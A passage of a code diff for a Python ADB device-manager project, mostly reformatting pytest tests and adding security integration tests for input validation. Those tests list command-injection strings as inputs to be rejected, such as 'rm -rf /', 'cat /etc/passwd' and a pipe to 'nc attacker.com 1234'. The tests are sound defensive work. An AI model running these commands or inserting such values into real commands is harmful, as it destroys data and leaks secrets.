raise ValueError(f"Device ID contains dangerous character: {char}")
return device_id
+1 -1
View File
@@ -1 +1 @@
"""Test package initialization."""
"""Test package initialization."""
+13 -12
View File
@@ -5,13 +5,14 @@ import sys
import os
# Add src directory to path for imports
sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..', 'src'))
sys.path.insert(0, os.path.join(os.path.dirname(__file__), "..", "src"))
@pytest.fixture
def mock_tkinter_root():
"""Create a mock Tkinter root window for GUI tests."""
import unittest.mock
return unittest.mock.MagicMock()
@@ -19,20 +20,20 @@ def mock_tkinter_root():
def mock_tkinter_imports():
"""Mock tkinter imports to avoid GUI dependencies in tests."""
import unittest.mock
# Mock tkinter modules
mock_tk = unittest.mock.MagicMock()
mock_messagebox = unittest.mock.MagicMock()
mock_filedialog = unittest.mock.MagicMock()
modules_to_mock = {
'tkinter': mock_tk,
'tkinter.messagebox': mock_messagebox,
'tkinter.filedialog': mock_filedialog,
'tkinter.ttk': unittest.mock.MagicMock(),
"tkinter": mock_tk,
"tkinter.messagebox": mock_messagebox,
"tkinter.filedialog": mock_filedialog,
"tkinter.ttk": unittest.mock.MagicMock(),
}
with unittest.mock.patch.dict('sys.modules', modules_to_mock):
with unittest.mock.patch.dict("sys.modules", modules_to_mock):
yield
@@ -41,7 +42,7 @@ def temp_directory():
"""Create a temporary directory for testing."""
import tempfile
import shutil
temp_dir = tempfile.mkdtemp()
yield temp_dir
shutil.rmtree(temp_dir)
@@ -52,11 +53,11 @@ def temp_file():
"""Create a temporary file for testing."""
import tempfile
import os
fd, temp_path = tempfile.mkstemp()
os.close(fd)
yield temp_path
try:
os.unlink(temp_path)
except FileNotFoundError:
pass
pass
+61 -62
View File
@@ -10,179 +10,178 @@ from src.core.adb_command import ADBCommandRunner
class TestADBCommandRunner:
"""Test ADB command runner functionality."""
def test_init(self):
"""Test ADBCommandRunner initialization."""
runner = ADBCommandRunner()
assert runner.current_process is None
@patch('src.core.adb_command.get_adb_binary_path')
@patch('subprocess.run')
@patch("src.core.adb_command.get_adb_binary_path")
@patch("subprocess.run")
def test_run_adb_command_success(self, mock_subprocess, mock_get_path):
"""Test successful ADB command execution."""
mock_get_path.return_value = '/path/to/adb'
mock_get_path.return_value = "/path/to/adb"
mock_result = MagicMock()
mock_result.returncode = 0
mock_result.stdout = "device_list"
mock_result.stderr = ""
mock_subprocess.return_value = mock_result
runner = ADBCommandRunner()
stdout, stderr, returncode = runner.run_adb_command(['devices'])
stdout, stderr, returncode = runner.run_adb_command(["devices"])
assert returncode == 0
assert stdout == "device_list"
assert stderr == ""
mock_subprocess.assert_called_once_with(
['/path/to/adb', 'devices'],
capture_output=True,
text=True,
timeout=15
["/path/to/adb", "devices"], capture_output=True, text=True, timeout=15
)
@patch('src.core.adb_command.get_adb_binary_path')
@patch('subprocess.run')
@patch("src.core.adb_command.get_adb_binary_path")
@patch("subprocess.run")
def test_run_adb_command_failure(self, mock_subprocess, mock_get_path):
"""Test ADB command execution failure."""
mock_get_path.return_value = '/path/to/adb'
mock_get_path.return_value = "/path/to/adb"
mock_result = MagicMock()
mock_result.returncode = 1
mock_result.stdout = ""
mock_result.stderr = "error message"
mock_subprocess.return_value = mock_result
runner = ADBCommandRunner()
stdout, stderr, returncode = runner.run_adb_command(['invalid'])
stdout, stderr, returncode = runner.run_adb_command(["invalid"])
assert returncode == 1
assert stdout == ""
assert stderr == "error message"
@patch('src.core.adb_command.get_adb_binary_path')
@patch('subprocess.run')
@patch("src.core.adb_command.get_adb_binary_path")
@patch("subprocess.run")
def test_run_adb_command_exception(self, mock_subprocess, mock_get_path):
"""Test ADB command execution with exception."""
mock_get_path.return_value = '/path/to/adb'
mock_get_path.return_value = "/path/to/adb"
mock_subprocess.side_effect = FileNotFoundError("ADB not found")
runner = ADBCommandRunner()
stdout, stderr, returncode = runner.run_adb_command(['devices'])
stdout, stderr, returncode = runner.run_adb_command(["devices"])
assert returncode == -1
assert stdout is None
assert "ADB not found" in stderr
@patch('src.core.adb_command.get_adb_binary_path')
@patch('subprocess.Popen')
@patch("src.core.adb_command.get_adb_binary_path")
@patch("subprocess.Popen")
def test_run_adb_command_no_capture(self, mock_popen, mock_get_path):
"""Test ADB command execution without output capture."""
mock_get_path.return_value = '/path/to/adb'
mock_get_path.return_value = "/path/to/adb"
mock_process = MagicMock()
mock_popen.return_value = mock_process
runner = ADBCommandRunner()
result = runner.run_adb_command(['devices'], capture_output=False)
result = runner.run_adb_command(["devices"], capture_output=False)
assert result == mock_process
mock_popen.assert_called_once_with(
['/path/to/adb', 'devices'],
["/path/to/adb", "devices"],
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
text=True
text=True,
)
def test_check_device_no_process(self):
"""Test device check with no current process."""
runner = ADBCommandRunner()
result = runner.check_device()
assert result is None
@patch('src.core.adb_command.get_adb_binary_path')
@patch('subprocess.run')
@patch("src.core.adb_command.get_adb_binary_path")
@patch("subprocess.run")
def test_check_device_with_devices(self, mock_subprocess, mock_get_path):
"""Test device check with connected devices."""
mock_get_path.return_value = '/path/to/adb'
mock_get_path.return_value = "/path/to/adb"
mock_result = MagicMock()
mock_result.returncode = 0
mock_result.stdout = "List of devices attached\ndevice1\tdevice\ndevice2\tdevice"
mock_result.stdout = (
"List of devices attached\ndevice1\tdevice\ndevice2\tdevice"
)
mock_subprocess.return_value = mock_result
runner = ADBCommandRunner()
result = runner.check_device()
assert result == "device1"
@patch('src.core.adb_command.get_adb_binary_path')
@patch('subprocess.run')
@patch("src.core.adb_command.get_adb_binary_path")
@patch("subprocess.run")
def test_check_device_no_devices(self, mock_subprocess, mock_get_path):
"""Test device check with no connected devices."""
mock_get_path.return_value = '/path/to/adb'
mock_get_path.return_value = "/path/to/adb"
mock_result = MagicMock()
mock_result.returncode = 0
mock_result.stdout = "List of devices attached\n"
mock_subprocess.return_value = mock_result
runner = ADBCommandRunner()
result = runner.check_device()
assert result is None
def test_parse_progress_valid_percentage(self):
"""Test parsing valid progress percentage."""
runner = ADBCommandRunner()
result = runner.parse_progress("Transferring: 45%")
assert result == 45
def test_parse_progress_valid_fraction(self):
"""Test parsing valid progress fraction."""
runner = ADBCommandRunner()
result = runner.parse_progress("1024/2048 KB transferred")
assert result == 50
def test_parse_progress_valid_bytes(self):
"""Test parsing valid progress bytes."""
runner = ADBCommandRunner()
result = runner.parse_progress("2048 KB/s (1048576 bytes in 2.5s)")
assert result == 100
def test_parse_progress_invalid(self):
"""Test parsing invalid progress string."""
runner = ADBCommandRunner()
result = runner.parse_progress("No progress info here")
assert result is None
def test_parse_progress_empty(self):
"""Test parsing empty progress string."""
runner = ADBCommandRunner()
result = runner.parse_progress("")
assert result is None
def test_cancel_current_operation_no_process(self):
"""Test canceling operation with no current process."""
runner = ADBCommandRunner()
result = runner.cancel_current_operation()
assert result is False
def test_cancel_current_operation_with_process(self):
"""Test canceling operation with active process."""
runner = ADBCommandRunner()
mock_process = MagicMock()
mock_process.poll.return_value = None # Process is running
runner.current_process = mock_process
result = runner.cancel_current_operation()
assert result is True
mock_process.terminate.assert_called_once()
def test_cancel_current_operation_finished_process(self):
"""Test canceling operation with finished process."""
runner = ADBCommandRunner()
mock_process = MagicMock()
mock_process.poll.return_value = 0 # Process finished
runner.current_process = mock_process
result = runner.cancel_current_operation()
assert result is False
mock_process.terminate.assert_not_called()
mock_process.terminate.assert_not_called()
+376 -156
View File
@@ -10,160 +10,170 @@ from src.core.adb_manager import ADBManager
class TestADBManager:
"""Test main ADB manager functionality."""
@patch('src.core.adb_manager.get_adb_binary_path')
@patch("src.core.adb_manager.get_adb_binary_path")
def test_init_success(self, mock_get_path):
"""Test ADBManager initialization with successful ADB path."""
mock_get_path.return_value = '/path/to/adb'
mock_get_path.return_value = "/path/to/adb"
manager = ADBManager()
assert manager.adb_path == '/path/to/adb'
assert manager.adb_path == "/path/to/adb"
assert manager.selected_device is None
assert manager.progress_callback is None
assert manager.status_callback is None
assert manager.transfer_progress['current_file'] == 0
@patch('src.core.adb_manager.get_adb_binary_path')
assert manager.transfer_progress["current_file"] == 0
@patch("src.core.adb_manager.get_adb_binary_path")
def test_init_adb_path_failure(self, mock_get_path):
"""Test ADBManager initialization when ADB path fails."""
mock_get_path.side_effect = Exception("ADB not found")
manager = ADBManager()
assert manager.adb_path is None
@patch('src.core.adb_manager.is_adb_available')
@patch("src.core.adb_manager.is_adb_available")
def test_is_available_true(self, mock_is_available):
"""Test ADB availability check returns True."""
mock_is_available.return_value = True
manager = ADBManager()
assert manager.is_available() is True
@patch('src.core.adb_manager.is_adb_available')
@patch("src.core.adb_manager.is_adb_available")
def test_is_available_false(self, mock_is_available):
"""Test ADB availability check returns False."""
mock_is_available.return_value = False
manager = ADBManager()
assert manager.is_available() is False
@patch('src.core.adb_manager.is_adb_available')
@patch('src.core.adb_manager.ensure_platform_tools_in_user_dir')
@patch('os.path.exists')
def test_ensure_adb_installed_already_available(self, mock_exists, mock_ensure, mock_is_available):
@patch("src.core.adb_manager.is_adb_available")
@patch("src.core.adb_manager.ensure_platform_tools_in_user_dir")
@patch("os.path.exists")
def test_ensure_adb_installed_already_available(
self, mock_exists, mock_ensure, mock_is_available
):
"""Test ensure_adb_installed when ADB is already available."""
mock_is_available.return_value = True
manager = ADBManager()
result = manager.ensure_adb_installed()
assert result is True
mock_ensure.assert_not_called()
@patch('src.core.adb_manager.is_adb_available')
@patch('src.core.adb_manager.ensure_platform_tools_in_user_dir')
@patch('os.path.exists')
def test_ensure_adb_installed_download_success(self, mock_exists, mock_ensure, mock_is_available):
@patch("src.core.adb_manager.is_adb_available")
@patch("src.core.adb_manager.ensure_platform_tools_in_user_dir")
@patch("os.path.exists")
def test_ensure_adb_installed_download_success(
self, mock_exists, mock_ensure, mock_is_available
):
"""Test ensure_adb_installed with successful download."""
mock_is_available.return_value = False
mock_ensure.return_value = '/user/data/adb'
mock_ensure.return_value = "/user/data/adb"
mock_exists.return_value = True
manager = ADBManager()
result = manager.ensure_adb_installed()
assert result is True
assert manager.adb_path == '/user/data/adb'
@patch('src.core.adb_manager.is_adb_available')
@patch('src.core.adb_manager.ensure_platform_tools_in_user_dir')
def test_ensure_adb_installed_download_failure(self, mock_ensure, mock_is_available):
assert manager.adb_path == "/user/data/adb"
@patch("src.core.adb_manager.is_adb_available")
@patch("src.core.adb_manager.ensure_platform_tools_in_user_dir")
def test_ensure_adb_installed_download_failure(
self, mock_ensure, mock_is_available
):
"""Test ensure_adb_installed with download failure."""
mock_is_available.return_value = False
mock_ensure.side_effect = Exception("Download failed")
manager = ADBManager()
result = manager.ensure_adb_installed()
assert result is False
def test_get_devices_success(self):
"""Test successful device enumeration."""
manager = ADBManager()
manager.command_runner.run_adb_command = MagicMock(
return_value=("List of devices attached\ndevice1\tdevice\ndevice2\tdevice", "", 0)
return_value=(
"List of devices attached\ndevice1\tdevice\ndevice2\tdevice",
"",
0,
)
)
devices = manager.get_devices()
assert devices == ["device1", "device2"]
def test_get_devices_failure(self):
"""Test device enumeration failure."""
manager = ADBManager()
manager.command_runner.run_adb_command = MagicMock(
return_value=("", "Error", 1)
)
devices = manager.get_devices()
assert devices == []
def test_get_devices_no_devices(self):
"""Test device enumeration with no connected devices."""
manager = ADBManager()
manager.command_runner.run_adb_command = MagicMock(
return_value=("List of devices attached\n", "", 0)
)
devices = manager.get_devices()
assert devices == []
@patch.object(ADBManager, 'get_devices')
@patch.object(ADBManager, "get_devices")
def test_is_device_connected_specific_device(self, mock_get_devices):
"""Test checking if specific device is connected."""
mock_get_devices.return_value = ["device1", "device2"]
manager = ADBManager()
assert manager.is_device_connected("device1") is True
assert manager.is_device_connected("device3") is False
@patch.object(ADBManager, 'get_devices')
@patch.object(ADBManager, "get_devices")
def test_is_device_connected_any_device(self, mock_get_devices):
"""Test checking if any device is connected."""
mock_get_devices.return_value = ["device1"]
manager = ADBManager()
assert manager.is_device_connected() is True
mock_get_devices.return_value = []
assert manager.is_device_connected() is False
def test_select_device(self):
"""Test device selection."""
manager = ADBManager()
manager.select_device("test_device")
assert manager.selected_device == "test_device"
def test_get_selected_device(self):
"""Test getting selected device."""
manager = ADBManager()
manager.selected_device = "test_device"
assert manager.get_selected_device() == "test_device"
def test_get_selected_device_none(self):
"""Test getting selected device when none selected."""
manager = ADBManager()
assert manager.get_selected_device() is None
def test_list_files_success(self):
"""Test successful file listing."""
manager = ADBManager()
@@ -172,232 +182,442 @@ class TestADBManager:
"total 12\n"
"drwxrwxr-x 2 user user 4096 Jan 1 12:00 Documents\n"
"-rw-rw-r-- 1 user user 100 Jan 1 12:00 test.txt",
"", 0
"",
0,
)
)
files = manager.list_files("/sdcard")
assert len(files) == 2
assert files[0]['name'] == 'Documents'
assert files[0]['type'] == 'folder'
assert files[1]['name'] == 'test.txt'
assert files[1]['type'] == 'file'
assert files[1]['size'] == 100
assert files[0]["name"] == "Documents"
assert files[0]["type"] == "folder"
assert files[1]["name"] == "test.txt"
assert files[1]["type"] == "file"
assert files[1]["size"] == 100
def test_list_files_failure(self):
"""Test file listing failure."""
manager = ADBManager()
manager.command_runner.run_adb_command = MagicMock(
return_value=("", "Permission denied", 1)
)
files = manager.list_files("/root")
assert files == []
@patch('os.makedirs')
@patch("os.makedirs")
def test_pull_file_success(self, mock_makedirs):
"""Test successful file pull."""
manager = ADBManager()
manager.file_transfer.pull_file = MagicMock(return_value=True)
success, message = manager.pull_file("/sdcard/test.txt", "/local/test.txt")
assert success is True
assert "successfully" in message
mock_makedirs.assert_called_once_with("/local", exist_ok=True)
def test_pull_file_failure(self):
"""Test file pull failure."""
manager = ADBManager()
manager.file_transfer.pull_file = MagicMock(return_value=False)
success, message = manager.pull_file("/sdcard/test.txt", "/local/test.txt")
assert success is False
assert "Failed" in message
@patch('os.makedirs')
@patch("os.makedirs")
def test_pull_folder_success(self, mock_makedirs):
"""Test successful folder pull."""
manager = ADBManager()
manager.file_transfer.pull_folder = MagicMock(return_value=True)
success, message = manager.pull_folder("/sdcard/Documents", "/local/Documents")
assert success is True
assert "successfully" in message
mock_makedirs.assert_called_once_with("/local/Documents", exist_ok=True)
def test_pull_folder_failure(self):
"""Test folder pull failure."""
manager = ADBManager()
manager.file_transfer.pull_folder = MagicMock(return_value=False)
success, message = manager.pull_folder("/sdcard/Documents", "/local/Documents")
assert success is False
assert "Failed" in message
@patch('os.path.exists')
@patch("os.path.exists")
def test_push_file_success(self, mock_exists):
"""Test successful file push."""
mock_exists.return_value = True
manager = ADBManager()
manager.file_transfer.push_file = MagicMock(return_value=True)
success, message = manager.push_file("/local/test.txt", "/sdcard/test.txt")
assert success is True
assert "successfully" in message
@patch('os.path.exists')
@patch("os.path.exists")
def test_push_file_not_found(self, mock_exists):
"""Test file push when local file doesn't exist."""
mock_exists.return_value = False
manager = ADBManager()
success, message = manager.push_file("/local/test.txt", "/sdcard/test.txt")
assert success is False
assert "not found" in message
@patch('os.path.exists')
@patch("os.path.exists")
def test_push_file_failure(self, mock_exists):
"""Test file push failure."""
mock_exists.return_value = True
manager = ADBManager()
manager.file_transfer.push_file = MagicMock(return_value=False)
success, message = manager.push_file("/local/test.txt", "/sdcard/test.txt")
assert success is False
assert "Failed" in message
@patch('os.path.exists')
@patch("os.path.exists")
def test_push_folder_success(self, mock_exists):
"""Test successful folder push."""
mock_exists.return_value = True
manager = ADBManager()
manager.file_transfer.push_folder = MagicMock(return_value=True)
success, message = manager.push_folder("/local/Documents", "/sdcard/Documents")
assert success is True
assert "successfully" in message
def test_delete_file_success(self):
"""Test successful file deletion."""
manager = ADBManager()
manager.command_runner.run_adb_command = MagicMock(
return_value=("", "", 0)
)
manager.command_runner.run_adb_command = MagicMock(return_value=("", "", 0))
success, message = manager.delete_file("/sdcard/test.txt")
assert success is True
assert "deleted" in message
def test_delete_file_failure(self):
"""Test file deletion failure."""
manager = ADBManager()
manager.command_runner.run_adb_command = MagicMock(
return_value=("", "Permission denied", 1)
)
success, message = manager.delete_file("/sdcard/test.txt")
assert success is False
assert "Failed" in message
def test_create_folder_success(self):
"""Test successful folder creation."""
manager = ADBManager()
manager.command_runner.run_adb_command = MagicMock(
return_value=("", "", 0)
)
manager.command_runner.run_adb_command = MagicMock(return_value=("", "", 0))
success, message = manager.create_folder("/sdcard/NewFolder")
assert success is True
assert "created" in message
def test_delete_folder_success(self):
"""Test successful folder deletion."""
manager = ADBManager()
manager.command_runner.run_adb_command = MagicMock(
return_value=("", "", 0)
)
manager.command_runner.run_adb_command = MagicMock(return_value=("", "", 0))
success, message = manager.delete_folder("/sdcard/OldFolder")
assert success is True
assert "deleted" in message
def test_move_item_success(self):
"""Test successful item move/rename."""
manager = ADBManager()
manager.command_runner.run_adb_command = MagicMock(
return_value=("", "", 0)
)
manager.command_runner.run_adb_command = MagicMock(return_value=("", "", 0))
success, message = manager.move_item("/sdcard/old.txt", "/sdcard/new.txt")
assert success is True
assert "moved" in message
def test_get_file_info_success(self):
"""Test successful file info retrieval."""
manager = ADBManager()
manager.command_runner.run_adb_command = MagicMock(
return_value=(
"-rw-rw-r-- 1 user user 1024 Jan 1 12:00 test.txt",
"", 0
)
return_value=("-rw-rw-r-- 1 user user 1024 Jan 1 12:00 test.txt", "", 0)
)
info = manager.get_file_info("/sdcard/test.txt")
assert info is not None
assert info['name'] == 'test.txt'
assert info['type'] == 'file'
assert info['size'] == 1024
assert info["name"] == "test.txt"
assert info["type"] == "file"
assert info["size"] == 1024
def test_get_file_info_failure(self):
"""Test file info retrieval failure."""
manager = ADBManager()
manager.command_runner.run_adb_command = MagicMock(
return_value=("", "File not found", 1)
)
info = manager.get_file_info("/sdcard/nonexistent.txt")
assert info is None
@patch('src.core.adb_manager.FileDeduplicator')
@patch("src.core.adb_manager.FileDeduplicator")
def test_deduplicate_files_success(self, mock_deduplicator_class):
"""Test successful file deduplication."""
mock_deduplicator = MagicMock()
mock_deduplicator.find_duplicates.return_value = [['file1.txt', 'file2.txt']]
mock_deduplicator.find_duplicates.return_value = [["file1.txt", "file2.txt"]]
mock_deduplicator.remove_duplicates.return_value = 1
mock_deduplicator_class.return_value = mock_deduplicator
manager = ADBManager()
removed_count, duplicates = manager.deduplicate_files("/test/folder")
assert removed_count == 1
assert len(duplicates) == 1
@patch('src.core.adb_manager.FileDeduplicator')
@patch("src.core.adb_manager.FileDeduplicator")
def test_deduplicate_files_no_duplicates(self, mock_deduplicator_class):
"""Test file deduplication with no duplicates found."""
mock_deduplicator = MagicMock()
mock_deduplicator.find_duplicates.return_value = []
mock_deduplicator_class.return_value = mock_deduplicator
manager = ADBManager()
removed_count, duplicates = manager.deduplicate_files("/test/folder")
assert removed_count == 0
assert duplicates == []
assert duplicates == []
class TestADBManagerSecurityIntegration:
"""Integration tests for security validation in ADB manager methods."""
def test_list_files_rejects_command_injection(self):
"""Test that list_files() rejects paths with command injection attempts."""
manager = ADBManager()
manager.selected_device = "test_device"
malicious_paths = [
"/sdcard/test; rm -rf /",
"/sdcard/$(whoami)",
"/sdcard/`malicious`",
"/sdcard/test && cat /etc/passwd",
"/sdcard/test | nc attacker.com 1234",
]
for path in malicious_paths:
result = manager.list_files(path)
assert result == [], f"Failed to reject malicious path: {path}"
def test_delete_file_rejects_path_traversal(self):
"""Test that delete_file() rejects path traversal attempts."""
manager = ADBManager()
manager.selected_device = "test_device"
malicious_paths = [
"/sdcard/test\x00.txt",
"/sdcard/file; rm -rf /",
]
for path in malicious_paths:
success, message = manager.delete_file(path)
assert not success, f"Failed to reject malicious path: {path}"
assert (
"Invalid path" in message
), f"Expected security error message for: {path}"
def test_create_folder_rejects_malicious_input(self):
"""Test that create_folder() rejects malicious path inputs."""
manager = ADBManager()
manager.selected_device = "test_device"
malicious_paths = [
"/sdcard/test && malicious",
"/sdcard/$(whoami)",
"/sdcard/test\nmalicious_command",
]
for path in malicious_paths:
success, message = manager.create_folder(path)
assert not success, f"Failed to reject malicious path: {path}"
assert "Invalid path" in message
def test_move_item_rejects_both_malicious_paths(self):
"""Test that move_item() rejects malicious source or destination paths."""
manager = ADBManager()
manager.selected_device = "test_device"
# Malicious source
success, message = manager.move_item("/sdcard/test; rm -rf /", "/sdcard/dest")
assert not success
assert "Invalid path" in message
# Malicious destination
success, message = manager.move_item(
"/sdcard/source", "/sdcard/dest && malicious"
)
assert not success
assert "Invalid path" in message
def test_operations_reject_malicious_device_ids(self):
"""Test that operations reject malicious device IDs."""
manager = ADBManager()
malicious_device_ids = [
"device123; malicious",
"device && cat /etc/passwd",
"device|nc attacker.com",
"device\nmalicious",
]
for device_id in malicious_device_ids:
# Test with list_files
result = manager.list_files("/sdcard/test", device_id=device_id)
assert result == [], f"Failed to reject malicious device ID: {device_id}"
# Test with get_file_info
result = manager.get_file_info("/sdcard/test", device_id=device_id)
assert result is None, f"Failed to reject malicious device ID: {device_id}"
def test_delete_folder_rejects_dangerous_patterns(self):
"""Test that delete_folder() rejects dangerous path patterns."""
manager = ADBManager()
manager.selected_device = "test_device"
dangerous_paths = [
"/sdcard/test||malicious",
"/sdcard/test&&malicious",
"/sdcard/test>>output.txt",
]
for path in dangerous_paths:
success, message = manager.delete_folder(path)
assert not success, f"Failed to reject dangerous path: {path}"
assert "Invalid path" in message
def test_get_file_info_with_null_bytes(self):
"""Test that get_file_info() rejects null bytes in paths."""
manager = ADBManager()
manager.selected_device = "test_device"
result = manager.get_file_info("/sdcard/file\x00.txt")
assert result is None
@patch("src.core.adb_manager.ADBCommandRunner")
def test_sanitized_paths_passed_to_adb_commands(self, mock_runner_class):
"""Test that sanitized paths are passed to ADB commands, not original inputs."""
mock_runner = MagicMock()
mock_runner.run_adb_command.return_value = ("", "", 0)
mock_runner_class.return_value = mock_runner
manager = ADBManager()
manager.selected_device = "test_device"
# Valid path should be passed through
manager.list_files("/sdcard/DCIM")
# Verify the command was called with the sanitized path
args_list = mock_runner.run_adb_command.call_args[0][0]
assert "/sdcard/DCIM" in args_list
# Malicious path should not reach the command runner
mock_runner.run_adb_command.reset_mock()
manager.list_files("/sdcard/test; rm -rf /")
# Command runner should not be called for invalid paths
mock_runner.run_adb_command.assert_not_called()
def test_unicode_paths_accepted(self):
"""Test that valid Unicode paths are accepted."""
manager = ADBManager()
manager.selected_device = "test_device"
unicode_paths = [
"/sdcard/照片/vacation.jpg",
"/sdcard/Фото/image.png",
"/sdcard/My Photos/vacation.jpg",
]
for path in unicode_paths:
# Should not raise exception or return security error
result = manager.list_files(path)
# Result will be empty list due to mocked command, but should not reject path
assert isinstance(result, list)
def test_list_files_calls_status_callback_on_invalid_path(self):
"""Test that list_files() notifies user via status callback on invalid path."""
manager = ADBManager()
manager.selected_device = "test_device"
# Set up status callback to capture messages
status_messages = []
manager.set_status_callback(lambda msg: status_messages.append(msg))
# Try invalid path
result = manager.list_files("/sdcard/test; rm -rf /")
assert result == []
assert len(status_messages) == 1
assert "Invalid path" in status_messages[0]
assert "dangerous pattern" in status_messages[0]
def test_list_files_calls_status_callback_on_invalid_device_id(self):
"""Test that list_files() notifies user via status callback on invalid device ID."""
manager = ADBManager()
# Set up status callback to capture messages
status_messages = []
manager.set_status_callback(lambda msg: status_messages.append(msg))
# Try invalid device ID
result = manager.list_files("/sdcard/test", device_id="device; malicious")
assert result == []
assert len(status_messages) == 1
assert "Invalid device ID" in status_messages[0]
def test_get_file_info_calls_status_callback_on_invalid_path(self):
"""Test that get_file_info() notifies user via status callback on invalid path."""
manager = ADBManager()
manager.selected_device = "test_device"
# Set up status callback to capture messages
status_messages = []
manager.set_status_callback(lambda msg: status_messages.append(msg))
# Try invalid path with null byte
result = manager.get_file_info("/sdcard/file\x00.txt")
assert result is None
assert len(status_messages) == 1
assert "Invalid path" in status_messages[0]
assert "null byte" in status_messages[0]
def test_status_callback_not_called_on_valid_input(self):
"""Test that status callback is not called for valid inputs."""
manager = ADBManager()
manager.selected_device = "test_device"
# Set up status callback to capture messages
status_messages = []
manager.set_status_callback(lambda msg: status_messages.append(msg))
# Try valid path (will return empty due to mocked command, but shouldn't trigger callback)
result = manager.list_files("/sdcard/DCIM")
# No status messages for validation errors
assert not any("Invalid" in msg for msg in status_messages)
+86 -74
View File
@@ -10,78 +10,81 @@ from src.core.file_transfer import ADBFileTransfer
class TestADBFileTransfer:
"""Test ADB file transfer functionality."""
def test_init(self):
"""Test ADBFileTransfer initialization."""
transfer = ADBFileTransfer()
assert transfer.progress_callback is None
assert transfer.current_process is None
def test_validate_windows_root_path_valid(self):
"""Test Windows root path validation with valid path."""
transfer = ADBFileTransfer()
# Should not raise exception
transfer._validate_windows_root_path("C:/Users/test", "push")
def test_validate_windows_root_path_invalid_push(self):
"""Test Windows root path validation with invalid path for push."""
transfer = ADBFileTransfer()
with pytest.raises(ValueError, match="Cannot push to Windows root"):
transfer._validate_windows_root_path("C:", "push")
def test_validate_windows_root_path_invalid_pull(self):
"""Test Windows root path validation with invalid path for pull."""
transfer = ADBFileTransfer()
with pytest.raises(ValueError, match="Cannot pull from Windows root"):
transfer._validate_windows_root_path("C:", "pull")
@patch('src.core.file_transfer.ADBCommandRunner')
@patch('os.path.exists')
@patch("src.core.file_transfer.ADBCommandRunner")
@patch("os.path.exists")
def test_pull_file_success(self, mock_exists, mock_command_runner):
"""Test successful file pull operation."""
mock_exists.return_value = False # Remote file doesn't exist locally
mock_runner = MagicMock()
mock_runner.run_adb_command.return_value = ("", "", 0)
mock_command_runner.return_value = mock_runner
transfer = ADBFileTransfer()
result = transfer.pull_file("/sdcard/test.txt", "/local/test.txt")
assert result is True
expected_local_path = os.path.normpath('/local/test.txt')
mock_runner.run_adb_command.assert_called_with(['pull', '/sdcard/test.txt', expected_local_path])
@patch('src.core.file_transfer.ADBCommandRunner')
@patch('os.path.exists')
# sanitize_local_path converts to absolute path, so we need to match that
expected_local_path = os.path.abspath(os.path.normpath("/local/test.txt"))
mock_runner.run_adb_command.assert_called_with(
["pull", "/sdcard/test.txt", expected_local_path]
)
@patch("src.core.file_transfer.ADBCommandRunner")
@patch("os.path.exists")
def test_pull_file_already_exists(self, mock_exists, mock_command_runner):
"""Test file pull when local file already exists."""
mock_exists.return_value = True
mock_runner = MagicMock()
mock_command_runner.return_value = mock_runner
transfer = ADBFileTransfer()
result = transfer.pull_file("/sdcard/test.txt", "/local/test.txt")
assert result is False
mock_runner.run_adb_command.assert_not_called()
@patch('src.core.file_transfer.ADBCommandRunner')
@patch('os.path.exists')
@patch("src.core.file_transfer.ADBCommandRunner")
@patch("os.path.exists")
def test_pull_file_command_failure(self, mock_exists, mock_command_runner):
"""Test file pull with ADB command failure."""
mock_exists.return_value = False
mock_runner = MagicMock()
mock_runner.run_adb_command.return_value = ("", "Error", 1)
mock_command_runner.return_value = mock_runner
transfer = ADBFileTransfer()
result = transfer.pull_file("/sdcard/test.txt", "/local/test.txt")
assert result is False
@patch('src.core.file_transfer.ADBCommandRunner')
@patch('os.path.exists')
@patch('os.path.isfile')
@patch("src.core.file_transfer.ADBCommandRunner")
@patch("os.path.exists")
@patch("os.path.isfile")
def test_push_file_success(self, mock_isfile, mock_exists, mock_command_runner):
"""Test successful file push operation."""
mock_exists.return_value = True # Local file exists
@@ -89,47 +92,50 @@ class TestADBFileTransfer:
mock_runner = MagicMock()
mock_runner.run_adb_command.return_value = ("", "", 0)
mock_command_runner.return_value = mock_runner
transfer = ADBFileTransfer()
result = transfer.push_file("/local/test.txt", "/sdcard/test.txt")
assert result is True
expected_local_path = os.path.normpath('/local/test.txt')
mock_runner.run_adb_command.assert_called_with(['push', expected_local_path, '/sdcard/test.txt'])
@patch('src.core.file_transfer.ADBCommandRunner')
@patch('os.path.exists')
# sanitize_local_path converts to absolute path
expected_local_path = os.path.abspath(os.path.normpath("/local/test.txt"))
mock_runner.run_adb_command.assert_called_with(
["push", expected_local_path, "/sdcard/test.txt"]
)
@patch("src.core.file_transfer.ADBCommandRunner")
@patch("os.path.exists")
def test_push_file_not_exists(self, mock_exists, mock_command_runner):
"""Test file push when local file doesn't exist."""
mock_exists.return_value = False
mock_runner = MagicMock()
mock_command_runner.return_value = mock_runner
transfer = ADBFileTransfer()
result = transfer.push_file("/local/test.txt", "/sdcard/test.txt")
assert result is False
mock_runner.run_adb_command.assert_not_called()
@patch('src.core.file_transfer.ADBCommandRunner')
@patch('os.path.exists')
@patch('os.path.isfile')
@patch("src.core.file_transfer.ADBCommandRunner")
@patch("os.path.exists")
@patch("os.path.isfile")
def test_push_file_not_a_file(self, mock_isfile, mock_exists, mock_command_runner):
"""Test file push when local path is not a file."""
mock_exists.return_value = True
mock_isfile.return_value = False # It's a directory, not a file
mock_runner = MagicMock()
mock_command_runner.return_value = mock_runner
transfer = ADBFileTransfer()
result = transfer.push_file("/local/test", "/sdcard/test.txt")
assert result is False
mock_runner.run_adb_command.assert_not_called()
@patch('src.core.file_transfer.ADBCommandRunner')
@patch('os.path.exists')
@patch('os.path.isdir')
@patch("src.core.file_transfer.ADBCommandRunner")
@patch("os.path.exists")
@patch("os.path.isdir")
def test_pull_folder_success(self, mock_isdir, mock_exists, mock_command_runner):
"""Test successful folder pull operation."""
mock_exists.return_value = False # Local folder doesn't exist
@@ -137,31 +143,34 @@ class TestADBFileTransfer:
mock_runner = MagicMock()
mock_runner.run_adb_command.return_value = ("", "", 0)
mock_command_runner.return_value = mock_runner
transfer = ADBFileTransfer()
result = transfer.pull_folder("/sdcard/Documents", "/local/Documents")
assert result is True
expected_local_path = os.path.normpath('/local/Documents')
mock_runner.run_adb_command.assert_called_with(['pull', '/sdcard/Documents', expected_local_path])
@patch('src.core.file_transfer.ADBCommandRunner')
@patch('os.path.exists')
# sanitize_local_path converts to absolute path
expected_local_path = os.path.abspath(os.path.normpath("/local/Documents"))
mock_runner.run_adb_command.assert_called_with(
